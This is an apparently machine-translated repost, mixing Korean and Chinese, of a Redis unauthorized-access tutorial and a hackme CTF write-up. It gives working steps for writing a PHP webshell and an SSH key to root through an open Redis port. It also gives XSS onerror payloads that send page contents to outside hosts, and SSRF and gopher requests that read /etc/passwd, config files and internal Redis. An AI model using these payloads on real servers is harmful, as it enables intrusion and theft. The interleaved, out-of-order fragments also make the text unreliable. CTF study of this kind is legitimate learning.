redis는 키-값 쌍으로 구성된 비관계형 데이터베이스입니다.
redis는 ANSI C 언어로 작성된 오픈소스 로그형 Key-Value 데이터베이스로, BSD 프로토콜을 준수하고, 네트워크를 지원하며, 메모리 기반 및 영속성이 가능하며, 다국어로 API를 제공합니다.
값은 문자열, 해시, 맵, 목록, 집합 및 정렬된 집합과 같은 유형이 될 수 있기 때문에 종종 데이터 구조 서버라고 합니다.
설치 서비스
win
다운로드 주소: https://github.com/MSOpenTech/redis/releases
테스트 환경:
운영 체제: win7
ip: 192.168.107.144
명령 라인 입력
redis-server.exe redis.conf
포트를 확인하세요
6379 포트(redis 기본 포트)가 열렸습니다
redis가 성공적으로 시작되었습니다
ubuntu
설치
sudo apt-get update sudo apt-get install redis-server
시작 서비스
redis-server
기본 명령
redis에 연결
redis-cli.exe -h 192.168.107.144
redis-cli.exe -h 192.168.107.144 연결 키 값 보기
연결 성공정보를 입력하면 관련 정보를 얻을 수 있습니다
redis를 볼 수 있습니다 버전 등사용방법문장 쓰기 웹쉘
Ssh 공개 키 쓰기
쉘 쓰기
redis 192.168.107.144:6379> get x "<?php phpinfo(); ?>"
대상 컴퓨터에 성공적으로 쓰기
redis 192.168.107.144:6379> keys * 1) "x"
그런 다음 ssh 공개 키를 대상 머신에 쓰고
redis 192.168.107.144:6379>flushall
//设置x的值 redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>" redis 192.168.107.144:6379> config set dbfilename test.php redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW redis 192.168.107.144:6379> save
제목은
질문 주소: https://hackme.inndy.tw/scoreboard/
xeemeLeaked
robots.txt에서 유출된 소스 코드 발견
암호화된 config.php
xss 쿠키
등록 및 로그인 후 인터페이스인증 이메일 보내기그냥 쓰다 확인을 위한 스크립트root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa
img 테스트를 사용하세요
onload도 필터링됩니다
여기서 필터링된 내용은 공백과 오류에 관한 것 같습니다. 공백이 있는 onerror는 일치할 때만 필터링되므로 공백 없이 onerror를 구성하고 Payload
root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144 192.168.107.144:6379> config set dir /root/.ssh # 设置本地存储文件目录 192.168.107.144:6379> config set dbfilename pub_keys # 设置本地存储文件名 192.168.107.144:6379> set x "xxxx" # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥) 192.168.107.144:6379> save # 保存
그런 다음 쿠키를 치고 쿠키를 성공적으로 쳤습니다
Decode SESSION
root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144
xssrf 누출
에 따르면 이전 질문의 쿠키 FLAG_2=IN_THE_REDIS
아직 환경이 똑같네요
관리자 쿠키로 받았으니 로그인
需要本地登陆,尝试一下伪造xff头
换了几个ip头都没用
于是想到之前做的题,可以直接去打管理员页面的源码
这里 不知道为什么 xss平台接收不到,于是换了一个平台
利用payload
<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)" alt="Redis 무단 액세스 소개" >
发现innerhtml被过滤
于是html编码
<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)" alt="Redis 무단 액세스 소개" >
发现收到请求
解个码,放在本地
SSRF读取config.php
猜测send request功能存在ssrf
<img src=""onerror=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps?'+btoa(xmlhttp.responseText) } } xmlhttp.open("GET","request.php",true); xmlhttp.send(); ">
vps收到请求
解码:
... <form action="/request.php" method="POST"> <div class="form-group"> <label for="url">URL</label> <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea> </div> <button class="btn btn-primary">Send Request</button> </form> </div> </body> </html>
post请求的url参数
尝试读文件
<img src=""onerror=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText) } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=file:///etc/passwd"); ">
成功读到/etc/passwd
于是读之前的config.php
xssrf redis(ssrf+gopher拿下flag)
根据flag的提示,redis的端口是25566
请求redis配合gopher
<img src=""onerror=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText) } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=gopher://127.0.0.1:25566/_info"); ">
成功获取info
查看一下keys
xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");
去读
既然有flag键,那么直接去读flag的值
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");
类型不符合
于是查看类型
xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");
是list,返回列表长度
xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");
那么获取所有元素
xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");
于是写个脚本
flag=""" } t i o l p x e o t y s a e s i n o i t a c i t n e h t u a t u o h t i w s i d e R { G A L F """ result = flag[::-1] print(result)
最后flag FLAG{Redis without authentication is easy to exploit}
原文地址:https://xz.aliyun.com/t/4051
更多redis知识请关注redis入门教程栏目。
위 내용은 Redis 무단 액세스 소개의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!